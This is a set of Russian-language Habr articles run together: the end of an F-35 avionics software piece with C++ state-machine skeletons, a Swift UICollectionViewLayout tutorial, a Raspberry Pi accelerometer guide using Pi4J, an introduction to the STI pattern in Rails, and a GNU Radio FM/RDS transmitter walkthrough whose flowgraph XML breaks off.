Однако эта архитектура, как и всё гениальное, – простая. За её основу была взята концепция конечных автоматов. Применение этой концепции в рамках ALIS реализовано в том, что все компоненты бортового программного обеспечения истребителя F-35 имеют унифицированную структуру. В сочетании с архитектурой многопоточного клиент-сервера для распределённых вычислений, автоматное ядро ALIS отвечает всем вышеописанным противоречивым требованиям. Каждый программный компонент ALIS состоит из интерфейсного «.h-файла» и алгоритмической настройки «.cpp-файла». Обобщённая их структура приведена в прилагаемых к статье исходных файлах (см. три следющих спойлера).
**automata1.cpp**
```
#include "battle.h"
CBattle::~CBattle()
{
}
BOOL CBattle::Battle()
{
BATTLE_STATE state;
switch (m_state)
{
case AU_BATTLE_STATE_1:
if (!State1Handler(...))
return FALSE;
m_state = AU_STATE_X;
break;
case AU_BATTLE_STATE_2:
if (!State2Handler(...))
return FALSE;
m_state = AU_STATE_X;
break;
case AU_BATTLE_STATE_N:
if (!StateNHandler(...))
return FALSE;
m_state = AU_STATE_X;
break;
}
return TRUE;
}
```
**automata1.h**
```
#ifndef AUTOMATA1_H
#define AUTOMATA1_H
typedef enum AUTOMATA1_STATE { AU1_STATE_1, AU1_STATE_2, ... AU1_STATE_N };
class CAutomata1
{
public:
CAutomata1();
~CAutomata1();
BOOL Automata1();
private:
BOOL State1Habdler(...);
BOOL State2Handler(...);
...
BOOL StateNHandler(...);
AUTOMATA1 m_state;
};
#endif
```
**main.cpp**
```
#include "automata1.h"
void main()
{
CAutomata1 *pAutomata1;
pAutomata1 = new CAutomata1();
while (pAutomata->Automata1()) {}
delete pAutomata1;
}
```
Подводя итог, можно отметить, что в оспариваемой тактической среде боевым превосходством обладают такие боевые единицы ВВС, бортовая киберинфраструктура которых эффективно сочетает в себе устойчивость, избыточность, разнообразие и распределённую функциональность. ИКК и ALIS современной авиации отвечают этим требованиям. Однако степень их интеграции в перспективе также будет расширена и до взаимодействия с другими армейскими подразделениями, тогда как сейчас эффективная интеграция ВВС охватывает лишь своё подразделение.
**Библиография****1.** *Courtney Howard.* Avionics: ahead of the curve // Military & Aerospace electronics: Avionics innovations. 24(6), 2013. pp. 10-17.
**2.** [Tactical Software Engineering](http://www.gdeb.com/careers/working_at_eb/eng_design/engineering_disciplines.html) // General Dynamics Electric Boat.
**3.** *Alvin Murphy.* The Importance of System-of-Systems Integration // Leading edge: Combat systems engineering & integration. 8(2), 2013. pp. 8-15.
**4.** [F-35: Combat Ready](http://www.acc.af.mil/AirCombatCommandsF-35AProgram.aspx). // Air Force.
**5.** Global Horizons // United States Air Force Global Science and Technology Vision. 3.07.2013.
**6.** *Chris Babcock.* Preparing for the Cyber Battleground of the Future // Air & Space Power Journal. 29(6), 2015. pp. 61-73.
**7.** *Edric Thompson.* Common operating environment: Sensors move the Army one step closer // Army Technology: Sensors. 3(1), 2015. p. 16.
**8.** *Mark Calafut.* The future of aircraft survivability: Building an intelligent, integrated survivability suite // Army Technology: Aviation. 3(2), 2015. pp. 16-19.
**9.** *Courtney Howard.* [Intelligent avionics](http://www.militaryaerospace.com/articles/print/volume-24/issue-02/special-report/intelligent-avionics.html).
**10.** *Stephanie Anne Fraioli.* Intelligence Support for the F-35A Lightning II // Air & Space Power Journal. 30(2), 2016. pp. 106-109.
**11.** *Courtney E. Howard.* Video and image processing at the edge // Military & Aerospace electronics: Progressive avionics. 22(8), 2011.
**12.** *Courtney Howard.* Combat aircraft with advanced avionics // Military & Aerospace electronics: Avionics. 25(2), 2014. pp.8-15.
**13.** Focus on rotorcraft: Scientists, researchers and aviators drive innovation // Army Technology: Aviation. 3(2), 2015. pp.11-13.
**14.** [Tactical Software Engineering](http://www.gdeb.com/careers/working_at_eb/eng_design/engineering_disciplines.html) // General Dynamics Electric Boat.
**15.** Broad Agency Announcement Hierarchical Identify Verify Exploit (HIVE) Microsystems Technology Office DARPA-BAA-16-52 August 2, 2016.
**16.** *Courtney Howard.* Data in demand: answering the call for communications // Military & Aerospace electronics: Wearable Electronics. 27(9), 2016.
**17.** Broad Agency Announcement: Explainable Artificial Intelligence (XAI) DARPA-BAA-16-53, 2016.
**18.** *Jordi Vallverdu.* A cognitive architecture for the implementation of emotions in computing systems // Biologically Inspired Cognitive Architectures. 15, 2016. pp. 34-40.
**19.** *Bruce K. Johnson.* Dawn of the Cognetic: Age Fighting Ideological War by Putting Thought in Motion with Impact // Air & Space Power Journal. 22(1), 2008. pp. 98-106.
**20.** *Sharon M. Latour.* Emotional Intelligence: Implications for All United States Air Force Leaders // Air & Space Power Journal. 16(4), 2002. pp. 27-35.
**21.** *Lt Col Sharon M. Latour.* Emotional Intelligence: Implications for All United States Air Force Leaders // Air & Space Power Journal. 16(4), 2002. pp. 27-35.
**22.** *Jane Benson.* Cognitive science research: Steering soldiers in the right direction // Army Technology: Computing. 3(3), 2015. pp. 16-17.
**23.** *Dayan Araujo.* [Cognitive computers primed to change the Air Force acquisition landscape](http://www.af.mil/News/ArticleDisplay/tabid/223/Article/611945/cognitive-computers-primed-to-change-the-air-force-acquisition-landscape.aspx).
**24.** *James S. Albus.* RCS: A cognitive architecture for intelligent multi-agent systems // Annual Reviews in Control. 29(1), 2005. pp. 87-99.
**25.** *Карев А.А.* Синергия доверия // Практический маркетинг. 2015. №8(222). С. 43-48.
**26.** *Карев А.А.* Многопоточный клиент-сервер для распределённых вычислений // Системный администратор. 2016. №1-2(158-159). С. 93-95.
**27.** *Карев А.А.* Аппаратные компоненты бортовой МПС унифицированного ударного истребителя F-35 // Компоненты и технологии. 2016. №11. С.98-102.
**PS.** Первоначально статья была опубликована в [«Компоненты и технологии»](https://rucont.ru/efd/561206). | https://habr.com/ru/post/453650/ | null | ru | null |
# Пишем универсальный UICollectionViewLayout
UICollectionView может иметь практически любое расположение элементов. Элементы могут иметь как фиксированные размеры, так и динамические. В данной публикации внимание будет уделено только тем UICollectionViewLayout, размеры элементов которых фиксированы и задаются определенным алгоритмом (*типичный пример — расположение иконок на экране Home вашего iPhone*). Так же будет сделана попытка описать подход к формированию единого UICollectionViewLayout.
Главная особенность подобных UICollectionViewLayout состоит в том, что в каждом таком расположении можно выделить некую закономерность, по которой происходит повторение размеров и положений элементов. В дальнейшем будем называть это **шаблоном**. Соответственно, чтобы сделать UICollectionViewLayout нужно составить алгоритм, который формирует шаблон. Пример шаблона повторения:
Все подобные UICollectionViewLayout будут отличаться друг от друга лишь алгоритмом формирования размеров и положений элементов коллекции. Отсюда возникает желание сделать такой UICollectionViewLayout, который будет требовать лишь алгоритм формирования шаблона, а все дальнейшие действия он возьмет на себя.
Если внимательно посмотреть на предыдущий пример, то можно заметить, что внутри шаблона встречаются такие **блоки** элементов, которые повторяются несколько раз за шаблон. Принимая во внимание возможность повторения блоков внутри шаблона логичным шагом будет разбиение шаблона на массив блоков.
Сложив все идеи вместе и описав все участвующие в формировании шаблона вещи протоколами, получилось примерно следующее:
**Протоколы (swift код)**
```
public protocol SquareMosaicBlock {
// количество CGRect в блоке
func frames() -> Int
// массив [CGRect] для определенной ширины коллекции и смещения относительно начала
func frames(origin: CGFloat, width: CGFloat) -> [CGRect]
}
public protocol SquareMosaicPattern {
// массив блоков
var blocks: [SquareMosaicBlock] { get }
}
public protocol SquareMosaicLayoutDataSource: class {
func pattern() -> SquareMosaicPattern
}
```
> — Достаточно ли протоколов SquareMosaicPattern, SquareMosaicBlock для описания любого расположения элементов?
>
> — Расположение элементов коллекции на изображении выше основано только на этих двух протоколах. Поэтому, скорее всего, любое расположение можно описать лишь этими протоколами"
>
>
Приводить пример реализации самого UICollectionViewLayout, использующего данные протоколы, и делать его детальный обзор не входит в планы на данную публикацию. Любой желающий сможет самостоятельно проанализировать подход и реализацию, перейдя в [репозиторий](https://github.com/iwheelbuy/SquareMosaicLayout) (*вся логика описана всего лишь на ~100 строчках кода*). Так же там можно найти пример использования.
Однако, привести пример формирования объектов, соответствующих протоколам шаблона и блока непременно следует. Для наглядности будут описаны расположения элементов для коллекции, которая изображена на картинках.
**Объекты, соответствующие протоколам (swift код)**
```
struct SnakeSquareMosaicPattern: SquareMosaicPattern {
var blocks: [SquareMosaicBlock] {
return [
OneTwoSquareMosaicBlock(),
ThreeRightSquareMosaicBlock(),
TwoOneSquareMosaicBlock(),
ThreeRightSquareMosaicBlock()
]
}
}
public struct OneTwoSquareMosaicBlock: SquareMosaicBlock {
public func frames() -> Int {
return 3
}
public func frames(origin: CGFloat, width: CGFloat) -> [CGRect] {
let sideMin = width / 3.0
let sideMax = width - sideMin
var frames = [CGRect]()
frames.append(CGRect(x: 0, y: origin, width: sideMax, height: sideMax))
frames.append(CGRect(x: sideMax, y: origin, width: sideMin, height: sideMin))
frames.append(CGRect(x: sideMax, y: origin + sideMax - sideMin, width: sideMin, height: sideMin))
return frames
}
}
public struct TwoOneSquareMosaicBlock: SquareMosaicBlock {
public func frames() -> Int {
return 3
}
public func frames(origin: CGFloat, width: CGFloat) -> [CGRect] {
let sideMin = width / 3.0
let sideMax = width - sideMin
var frames = [CGRect]()
frames.append(CGRect(x: 0, y: origin, width: sideMin, height: sideMin))
frames.append(CGRect(x: 0, y: origin + sideMax - sideMin, width: sideMin, height: sideMin))
frames.append(CGRect(x: sideMin, y: origin, width: sideMax, height: sideMax))
return frames
}
}
public struct ThreeRightSquareMosaicBlock: SquareMosaicBlock {
public func frames() -> Int {
return 3
}
public func frames(origin: CGFloat, width: CGFloat) -> [CGRect] {
let side = width / 3.0
var frames = [CGRect]()
frames.append(CGRect(x: side + side, y: origin, width: side, height: side))
frames.append(CGRect(x: side, y: origin, width: side, height: side))
frames.append(CGRect(x: 0, y: origin, width: side, height: side))
return frames
}
}
```
В итоге у нас получился вполне универсальный класс **SquareMosaicLayout**. На его основе можно составлять разные наборы расположений элементов UICollectionView. Анимированно переходить от одного шаблона к другому. Переиспользовать блоки разных шаблонов для составления новых.
Следующим этапом развития будет создание и пополнение предустановленных наборов блоков и шаблонов с разнообразными расположениями элементов. Так же хотелось бы добавить поддержку различных видов анимаций и SupplementaryViews / DecorationViews
**Вывод:** Самое главное, чего удалось добиться — не требуется менять внутренности класса SquareMosaicLayout для составления нового расположения элементов.
**P.S.** Доступно для установки через cocoapods: *pod 'SquareMosaicLayout'* | https://habr.com/ru/post/320072/ | null | ru | null |
# Подключение акселерометра к Raspberry Pi с использованием библиотеки Pi4J
#### Предисловие
Привет, Хабр! Буквально недавно меня взяли в кружок по робототехнике. Конечно, я с радостью согласился, это же новый опыт и все такое… Тем более я всего лишь первокурсник. Мой преподаватель, объяснив мне общую концепцию, предложил заняться работой с Raspberry Pi. Нужно было разобраться, как с ним работать, установить на него JDK и написать программу, которая выводила бы на экран показания с 3-х осевого акселерометра. Взяв все необходимое, я отправился домой разбираться. Когда я все закончил (ушло на это примерно неделя), решил написать гайдик, адресованный таким же, как и я, дабы собрать все, что я нарыл, в одном месте. Ну, приятного чтения!
#### Первым делом
Первым делом нужно получить доступ к нашему устройству. Подключаться будем посредством протокола SSH. По умолчанию сервер SSH отключен, и чтобы включить его, подключаем Raspberry к монитору или телевизору, подсоединяем клавиатуру и мышку. Конечно, можно просто просканировать сетевое окружение, выявить наше устройство и подключиться по найденному IP, но все же рекомендую сделать по моему варианту. После загрузки запускам терминал и вводим команду **sudo raspi-config**. В открывшемся меню идем в advanced options->SSH и выбираем Enable. После этих манипуляций, должно появиться следующее окошко:
Отлично! Теперь мы сможем приконектиться к нашей “малинке” в любое время. Давайте сразу пропишем настройки сети. Файл, который нам нужен, находится в каталоге /etc/network/.Переходим туда с помощью команды **cd /etc/network**. Далее открываем нужный файл, введя **sudo nano interfaces**. Здесь в соответствующих строках прописываем свои данные, тем самым мы задаем статический IP адрес. Должно получиться примерно следующее:
После нажимаем CTRL+X, Y, Enter. Именно по этому адресу будем подключаться. Далее скачиваем клиет [SSH — PuTTY](http://www.putty.org/). Запустив программу, вы увидите следующее окно:
Здесь в поле Host Name пишем тот самый ip, который мы прописали в interfaces. Здесь же можно сохранить настройки, прописав в поле Save Session имя и нажав на Save. Нажимаем Open. Как только PuTTY подключится к SSH серверу, откроется окно, и появится запрос учетных данных (по умолчанию, пользователь: pi, пароль: raspberry):
Не пугайтесь, что при вводе вы не видите пароль, в Linux подобных системах пароль просто не виден, хотя ввод происходит. Нажимаем Enter. Если все прошло удачно, вы увидите следующее окошко:
В этой консольке можно выполнять любые команды, и они будут выполнены на самом устройстве. Неправда ли удобно?
#### Установка JDK
Здесь все довольно просто. Обновляем список пакетов, введя в терминале **sudo apt-get update**.
Обновим и саму систему **sudo apt-get upgrade**.
На все это может понадобиться довольно много времени (у меня это обновление проходило примерно 30 минут), так что запаситесь чаем. Слава великой силе, что в списки пакетов был добавлен пакет JDK, и нам не пришлось танцевать с бубном. Для установки пакета просто вводим **sudo apt-get install openjdk-7-jdk**.
Для проверки работоспособности вводим java -version. Вы должны увидеть примерно следующее:
P.S. На некоторых машинах может возникнуть проблема, связанная с тем, что система не находит пакет JDK. Она возникает из-за несовместимости ядра Debian “wheezy” с java. Попробуйте переустановить ОС на Soft-float Debian “wheezy”, оптимизированную для работы с java. В любом случае на моей “малинке” все встало с первого раза. Вот моя версия:
#### I2c vs Raspberry PI
Итак, теперь начинается самое интересное! Для начала, давайте разберемся, что это вообще такое? Великая и могучая Википедия говорит:
*I²C (рус. ай-ту-си/и-два-цэ/и-два-си) — последовательная шина данных для связи интегральных схем, использующая две двунаправленные линии связи (SDA и SCL). Используется для соединения низкоскоростных периферийных компонентов с материнской платой, встраиваемыми системами и мобильными телефонами. Название представляет собой аббревиатуру слов Inter-Integrated Circuit.*
В своей работе, я использую вот это устройство [LSM303DLM](http://www.pololu.com/catalog/product/1265/pictures), в дальнейшем все примеры будут показаны именно на нем. Ниже я нарисовал схему подключения:
Она довольно простая, и я думаю, не требует разъяснений. Продолжим. Ах да, давайте сразу добавим пару строк в файл, отвечающий за автозагрузку модулей. Прописываем в командной строке **sudo nano /etc/modules** и дописываем туда:
*i2c-bcm2708
i2c-dev*
Теперь устанавливаем пакет i2c-tools. В терминале пишем: **sudo apt-get install python-smbus** и **sudo apt-get install i2c-tools**.
Редактируем черный список. Для этого пишем sudo nano /etc/modprobe.d/raspi-blacklist.conf. Добавляем строки:
*blacklist spi-bcm2708
blacklist i2c-bcm2708*
Все. Все самое необходимое для работы с I2C мы сделали, теперь давайте проверим, видим ли мы наше устройство. В утилиту i2c-tools входит команда i2cdetect, она нам и нужна. Но сперва проверим, что драйвера успешно установлены. Пишем в терминале **i2cdetect –l**. Если видим следующее:
То все нормально, можно двигаться дальше. Теперь пишем **i2cdetect –y 1** (**i2cdetect –y 0**). Видим решетку адресов:
В моем случае, адрес акселерометра 0x18(можно узнать, например, в документации). Теперь поговорим о PI4J.
#### Уоу уоу уоу палехче…
Для работы с I2C средствами JAVA, нужно скачать и установить дополнительную библиотеку PI4J. Прочитать про нее можно [здесь](http://pi4j.com/). Скачиваем, написав в терминале **wget [pi4j.googlecode.com/files/pi4j-0.0.5.deb](http://pi4j.googlecode.com/files/pi4j-0.0.5.deb)**. Устанавливаем, прописав: **sudo dpkg -i pi4j-0.0.5.deb**. Проверим установленные файлы:
Теперь для компиляции программы пишем:
**javac -classpath .:classes:/opt/pi4j/lib/'\*' (название)**
Для запуска:
**sudo java -classpath .:classes:/opt/pi4j/lib/'\*' (название)**
Из всех пакетов нам пригодится 3:
```
import com.pi4j.io.i2c.I2CBus;
import com.pi4j.io.i2c.I2CDevice;
import com.pi4j.io.i2c.I2CFactory;
```
Создаем ссылки на объекты классов I2CDevice и I2CBus.
```
import java.io.IOException;
import com.pi4j.io.i2c.I2CBus;
import com.pi4j.io.i2c.I2CDevice;
import com.pi4j.io.i2c.I2CFactory;
public class accelerometrOne {
static I2CDevice device;
static I2CBus bus;
static byte[] accel;
public static void main(String[] args) throws IOException {
System.out.println("Starting sensors reading:");
try {
bus = I2CFactory.getInstance(I2CBus.BUS_1);
System.out.println("Connected to bus OK!");
device = bus.getDevice(0x18);
System.out.println("Connected to device OK!");
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
}
```
Разберем код. Строчкой **bus = I2CFactory.getInstance(I2CBus.BUS\_1);** мы подключаемся к нашей шине, а с помощью **device = bus.getDevice(0x18);** мы подключаемся к нашему устройству.
Теперь нужно произвести калибровку акселерометра. Лезем в [документацию](http://www.pololu.com/file/download/LSM303DLH-compass-app-note.pdf?file_id=0J434).
У кого совсем все плохо с английским. В моем вольном переводе: “После включения LSM303DLH необходимо произвести конфигурацию устройства по 2 регистрам CTRL\_REG1\_A(20h) и CTRL\_REG2\_A (23h). Для этого в первый регистр пишем 0x27 для нормальной работы с ODR 50гц.
Пишем 0\*40 во второй регистр для того, чтобы сохранить полный диапазон измерений +- 2 гаусс в непрерывном обновлении базы данных и изменить порядок байтов от младшего к старшему на порядок, от старшего к младшему.”
Для записи данных в устройство воспользуемся методом **write** из класса **I2CDevice**. Допишем программу:
```
import java.io.IOException;
import com.pi4j.io.i2c.I2CBus;
import com.pi4j.io.i2c.I2CDevice;
import com.pi4j.io.i2c.I2CFactory;
public class accelerometrOne {
static I2CDevice device;
static I2CBus bus;
static byte[] accel;
public static void main(String[] args) throws IOException {
System.out.println("Starting sensors reading:");
try {
bus = I2CFactory.getInstance(I2CBus.BUS_1);
System.out.println("Connected to bus OK!");
device = bus.getDevice(0x18);
System.out.println("Connected to device OK!");
device.write(0x20, (byte) 0x27);
device.write(0x23, (byte) 0x40);
System.out.println("Configuring sensors OK!");
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
```
Отлично!!! Осталось считать данные с устройства. Снова лезем в документацию и узнаем, что данные выдаются по 2 байта на каждую ось:
Ну и все. Записываем полученные байты в массив и выводим данные на экран:
```
import java.io.IOException;
import com.pi4j.io.i2c.I2CBus;
import com.pi4j.io.i2c.I2CDevice;
import com.pi4j.io.i2c.I2CFactory;
public class accelerometrOne {
static I2CDevice device;
static I2CBus bus;
static byte[] accel;
public static void main(String[] args) throws IOException {
System.out.println("Starting sensors reading:");
try {
bus = I2CFactory.getInstance(I2CBus.BUS_1);
System.out.println("Connected to bus OK!");
device = bus.getDevice(0x18);
System.out.println("Connected to device OK!");
device.write(0x20, (byte) 0x27);
device.write(0x23, (byte) 0x40);
System.out.println("Configuring sensors OK!");
readingsensors();
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
private static void readingsensors() throws IOException {
while (true) {
accel = new byte[6];
accel[0] = (byte) device.read(0x28);
accel[1] = (byte) device.read(0x29);
accel[2] = (byte) device.read(0x2a);
accel[3] = (byte) device.read(0x2b);
accel[4] = (byte) device.read(0x2c);
accel[5] = (byte) device.read(0x2d);
int accelx = asint(accel[0]) * 256 + asint(accel[1]);
int accely = asint(accel[2]) * 256 + asint(accel[3]);
int accelz = asint(accel[4]) * 256 + asint(accel[5]);
System.out.println("accelx: " + accelx + ", accely: " + accely
+ ", accelz: " + accelz);
}
}
private static int asint(byte b) {
int i = b;
if (i < 0) {
i = i + 256;
}
return i;
}
}
```
В итоге, после запуска мы увидим примерно следующее:
 | https://habr.com/ru/post/192258/ | null | ru | null |
# STI — одна таблица и много моделей
Вчера, в [заметке](http://habrahabr.ru/blogs/ror/79431/) про полиморфные связи в комментариях был упомянут паттерн STI. Как выяснилось, не все знают что это такое, как работает и зачем нужно. Решил восполнить этот информационный пробел и вкратце рассказать об этом шаблоне проектирования и его реализации в Рельсе.
*STI (Single Table Inheritance) — паттерн проектирования, который позволяет перенести объектно-ориентированное наследование на таблицу реляционной базы данных. В таблице БД должно присутствовать поле идентифицирующее название класса в иерархии. Зачастую, в том числе в RoR, поле называют type.*
Таким образом, мы можем иметь одну таблицу и несколько типов объектов (моделей), которые будут в ней храниться. В случае с вышеупомянутой хабразаметкой — это одна таблица постов, которая хранит посты разных типов: ссылка, подкаст, статья, перевод и т.д.
Дабы не усложнять себе жизнь, в этой статье мы рассмотрим более простой пример: несколько типов пользователей с разными полномочиями и любой другой бизнес-логикой. Пусть это будут: администратор, менеджер и рядовой пользователь.
Приступим.
#### Определяемся с задачей
Допустим, в нашем приложении (например интернет-магазине) нам требуется реализовать иерархию пользователей с различными полномочиями и, возможно, дополнительной логикой. Пусть это будут: администратор, менеджер и рядовой пользователь. Вполне логично для каждого создать отдельную модель: Administrator, Manager, User. Учетные записи всех пользователей хранятся в одной таблице базы данных.
#### Создаем структуру БД
Нам требуется одна таблица, в целях максимального упрощения в ней будут два поля: *username* и *password*. Также, нам нужно как-то хранить тип пользователя, по умолчанию в Рельсе для этих целей используется поле под названием *type*.
В итоге получаем следующую структуру:
`**CREATE** **TABLE** users (
id INT **NOT** **NULL** **AUTO\_INCREMENT**,
username VARCHAR(20) **NOT** **NULL** **UNIQUE**,
password VARCHAR(32) **NOT** **NULL**,
type VARCHAR(40) **NOT** **NULL**,
**PRIMARY** **KEY** (id)
);` | https://habr.com/ru/post/79630/ | null | ru | null |
# Software Defined Radio — как это работает? Часть 9
Привет, Хабр.
В [предыдущей части](https://habr.com/ru/post/456184/) было рассмотрено декодирование сигналов RDS для FM-радиостанций, и идея следующей статьи возникла сама собой — нужно сделать свой собственный FM-трансмиттер.
Вариантов будет два — простой, и более сложный, с RDS.
Как и в предыдущих случаях, сделаем мы все это в GNU Radio, не написав ни одной строчки кода. Для тех кому интересно, продолжение под катом.
Итак, приступим. Разумеется, для тестов нам понадобится SDR с возможностью передачи (HackRF, USRP, LimeSDR).
FM трансмиттер
--------------
Схема простого трансмиттера делается практически в два клика, и надеюсь, никаких сложностей в понимании не представляет. В качестве источника я использую WAV-file, хотя при желании можно использовать и другой источник, например вход звуковой карты.
Собственно, ключевых блоков в этой схеме два — WBFM-трансмиттер и Resampler, преобразующий частоту дискретизации потока. Все значения частоты дискретизации должны соответствовать друг другу, иначе будет пропуск семплов, что на слух будет слышно как щелчки. Блок Multiply Const используется для регулировки входного уровня. Также важно не перепутать, в GNU Radio есть два разных блока для FM — WBFM и NBFM. Нам нужен именно первый, Wide Band FM. Модуляция NFM используется для портативных радиостанций.
В общем, все просто, запускаем, работает. Никаких UI-блоков в схеме нет, так что использовать ее можно и из командной строки (подробнее в [4й части](https://habr.com/ru/post/453038/)).
Кстати, если посмотреть спектр, то можно убедиться, что передается простой моно сигнал, без каких-либо каналов, пилот-тонов и прочего.
Пора перейти к более сложному варианту.
Трансмиттер с RDS
-----------------
Схема передатчика с RDS будет разумеется, посложнее. Ее оригинал был взят из примеров [gr-rds](https://github.com/pothosware/gr-rds/tree/master/apps) с небольшими изменениями (оригинальная версия под Windows не заработала, «правильная» версия внизу статьи), рассмотрим, из каких компонентов она состоит.
(оригинал в [полном разрешении](https://habrastorage.org/webt/va/6t/4p/va6t4p6iyt2hkzdsblszypdle14.png))
Верхяя треть схемы — это передача RDS. На входе имеется RDS-энкодер, который исходя из имеющихся данных (имя станции, код страны и пр) формирует RDS-пакеты. Затем битовый поток подвергается [дифференциальному кодированию](https://www.geeksforgeeks.org/computer-network-manchester-encoding/), идея которого — убрать повторяющиеся последовательности вида 001000001. Затем сигнал обрабатывается, и им модулируется «несущая» на 57КГц. Центральная часть — создание звука. Тут формируются каналы L+R и L-R. Снизу в качестве источника звука указан WAV-файл. И наконец, блок Add складывает все это вместе, также к сигналу добавляется пилот-тон на 19КГц и второй тон на 38КГц. Весь этот суммарный сигнал отправляется на частотный модулятор, все это с помощью SDR отправляется в эфир.
По идее, эта схема не является 100% полной, например нет блока предыскажений, фазы тонов на 19, 38 и 57КГц не синхронизированы. С другой стороны, для понимания того, как вообще звук передается в эфир, такой схемы вполне достаточно, желающие могут доработать ее самостоятельно.
При запуске открывается окно, часть параметров можно менять.
Было желание протестировать RDS с реальным приемником, но оказалось что FM-радио — это уже атавизм, и у меня дома его нет. Даже в смартфоне последней модели оно тоже отсутствует. Так что пришлось использовать RTL-SDR V3 и GQRX в качестве контрольного приемника, результат на КДПВ.
Разумеется, перед тестированием необходимо выбрать свободную частоту, чтобы на ней не было станций, ну и желательно не превышать разрешенную мощность. Для тех же, кто захочет получить максимум дальности ~~можно докупить усилитель~~, желательно сделать антенну на нужную частоту, чтобы был хотя бы диполь 1/4 длины волны.
Заключение
----------
Как можно видеть, в передаче FM-радио в принципе, нет ничего сверхсложного, все вполне реализуемо в GNU Radio (хотя без наличия примеров повторить такое было бы непросто, учитывая что система не документирована вообще никак). Ну теперь, по крайней мере, работающий пример у читателей есть.
Исходные коды блоков под спойлером.
**fm\_tx.grc**
```
xml version='1.0' encoding='utf-8'?
grc format='1' created='3.7.11'?
Tue Jun 18 20:27:26 2019
options
author
window\_size
category
[GRC Hier Blocks]
comment
description
\_enabled
True
\_coordinate
(16, 20)
\_rotation
0
generate\_options
wx\_gui
hier\_block\_src\_path
.:
id
top\_block
max\_nouts
0
qt\_qss\_theme
realtime\_scheduling
run\_command
{python} -u {filename}
run\_options
prompt
run
True
thread\_safe\_setters
title
analog\_wfm\_tx
audio\_rate
80000
alias
comment
affinity
\_enabled
True
\_coordinate
(592, 76)
\_rotation
0
id
analog\_wfm\_tx\_0
max\_dev
75e3
maxoutbuf
0
minoutbuf
0
fh
-1.0
quad\_rate
320000
tau
75e-6
blocks\_multiply\_const\_vxx
alias
comment
const
0.45
affinity
\_enabled
True
\_coordinate
(248, 108)
\_rotation
0
id
blocks\_multiply\_const\_vxx\_0
type
float
maxoutbuf
0
minoutbuf
0
vlen
1
blocks\_wavfile\_source
alias
comment
affinity
\_enabled
True
file
D:\MyProjects\GNURadio\sound.wav
\_coordinate
(24, 100)
\_rotation
0
id
blocks\_wavfile\_source\_0
maxoutbuf
0
minoutbuf
0
nchan
1
repeat
True
rational\_resampler\_xxx
alias
comment
affinity
decim
3
\_enabled
True
fbw
0
\_coordinate
(408, 84)
\_rotation
0
id
rational\_resampler\_xxx\_0
interp
5
maxoutbuf
0
minoutbuf
0
taps
type
fff
uhd\_usrp\_sink
alias
ant0
bw0
0
center\_freq0
95.6e6
norm\_gain0
False
gain0
30
ant10
bw10
0
center\_freq10
0
norm\_gain10
False
gain10
0
ant11
bw11
0
center\_freq11
0
norm\_gain11
False
gain11
0
ant12
bw12
0
center\_freq12
0
norm\_gain12
False
gain12
0
ant13
bw13
0
center\_freq13
0
norm\_gain13
False
gain13
0
ant14
bw14
0
center\_freq14
0
norm\_gain14
False
gain14
0
ant15
bw15
0
center\_freq15
0
norm\_gain15
False
gain15
0
ant16
bw16
0
center\_freq16
0
norm\_gain16
False
gain16
0
ant17
bw17
0
center\_freq17
0
norm\_gain17
False
gain17
0
ant18
bw18
0
center\_freq18
0
norm\_gain18
False
gain18
0
ant19
bw19
0
center\_freq19
0
norm\_gain19
False
gain19
0
ant1
bw1
0
center\_freq1
0
norm\_gain1
False
gain1
0
ant20
bw20
0
center\_freq20
0
norm\_gain20
False
gain20
0
ant21
bw21
0
center\_freq21
0
norm\_gain21
False
gain21
0
ant22
bw22
0
center\_freq22
0
norm\_gain22
False
gain22
0
ant23
bw23
0
center\_freq23
0
norm\_gain23
False
gain23
0
ant24
bw24
0
center\_freq24
0
norm\_gain24
False
gain24
0
ant25
bw25
0
center\_freq25
0
norm\_gain25
False
gain25
0
ant26
bw26
0
center\_freq26
0
norm\_gain26
False
gain26
0
ant27
bw27
0
center\_freq27
0
norm\_gain27
False
gain27
0
ant28
bw28
0
center\_freq28
0
norm\_gain28
False
gain28
0
ant29
bw29
0
center\_freq29
0
norm\_gain29
False
gain29
0
ant2
bw2
0
center\_freq2
0
norm\_gain2
False
gain2
0
ant30
bw30
0
center\_freq30
0
norm\_gain30
False
gain30
0
ant31
bw31
0
center\_freq31
0
norm\_gain31
False
gain31
0
ant3
bw3
0
center\_freq3
0
norm\_gain3
False
gain3
0
ant4
bw4
0
center\_freq4
0
norm\_gain4
False
gain4
0
ant5
bw5
0
center\_freq5
0
norm\_gain5
False
gain5
0
ant6
bw6
0
center\_freq6
0
norm\_gain6
False
gain6
0
ant7
bw7
0
center\_freq7
0
norm\_gain7
False
gain7
0
ant8
bw8
0
center\_freq8
0
norm\_gain8
False
gain8
0
ant9
bw9
0
center\_freq9
0
norm\_gain9
False
gain9
0
clock\_rate
0.0
comment
affinity
dev\_addr
""
dev\_args
""
\_enabled
True
\_coordinate
(848, 68)
\_rotation
0
id
uhd\_usrp\_sink\_0
type
fc32
clock\_source0
sd\_spec0
time\_source0
clock\_source1
sd\_spec1
time\_source1
clock\_source2
sd\_spec2
time\_source2
clock\_source3
sd\_spec3
time\_source3
clock\_source4
sd\_spec4
time\_source4
clock\_source5
sd\_spec5
time\_source5
clock\_source6
sd\_spec6
time\_source6
clock\_source7
sd\_spec7
time\_source7
nchan
1
num\_mboards
1
samp\_rate
320000
hide\_cmd\_port
False
hide\_lo\_controls
True
stream\_args
stream\_chans
[]
sync
len\_tag\_name
otw
analog\_wfm\_tx\_0
uhd\_usrp\_sink\_0
0
0
blocks\_multiply\_const\_vxx\_0
rational\_resampler\_xxx\_0
0
0
blocks\_wavfile\_source\_0
blocks\_multiply\_const\_vxx\_0
0
0
rational\_resampler\_xxx\_0
analog\_wfm\_tx\_0
0
0
```
**fm\_tx\_rds.grc**
```
xml version='1.0' encoding='utf-8'?
grc format='1' created='3.7.11'?
Thu Aug 28 08:28:15 2014
options
author
window\_size
1600, 2048
category
RDS
comment
description
\_enabled
True
\_coordinate
(104, 4)
\_rotation
0
generate\_options
wx\_gui
hier\_block\_src\_path
.:
id
rds\_tx
max\_nouts
0
qt\_qss\_theme
realtime\_scheduling
run\_command
{python} -u {filename}
run\_options
prompt
run
True
thread\_safe\_setters
title
variable
comment
\_enabled
True
\_coordinate
(352, 4)
\_rotation
0
id
data\_rate
value
380000
variable
comment
\_enabled
True
\_coordinate
(440, 4)
\_rotation
0
id
fm\_max\_dev
value
80e3
variable
comment
\_enabled
True
\_coordinate
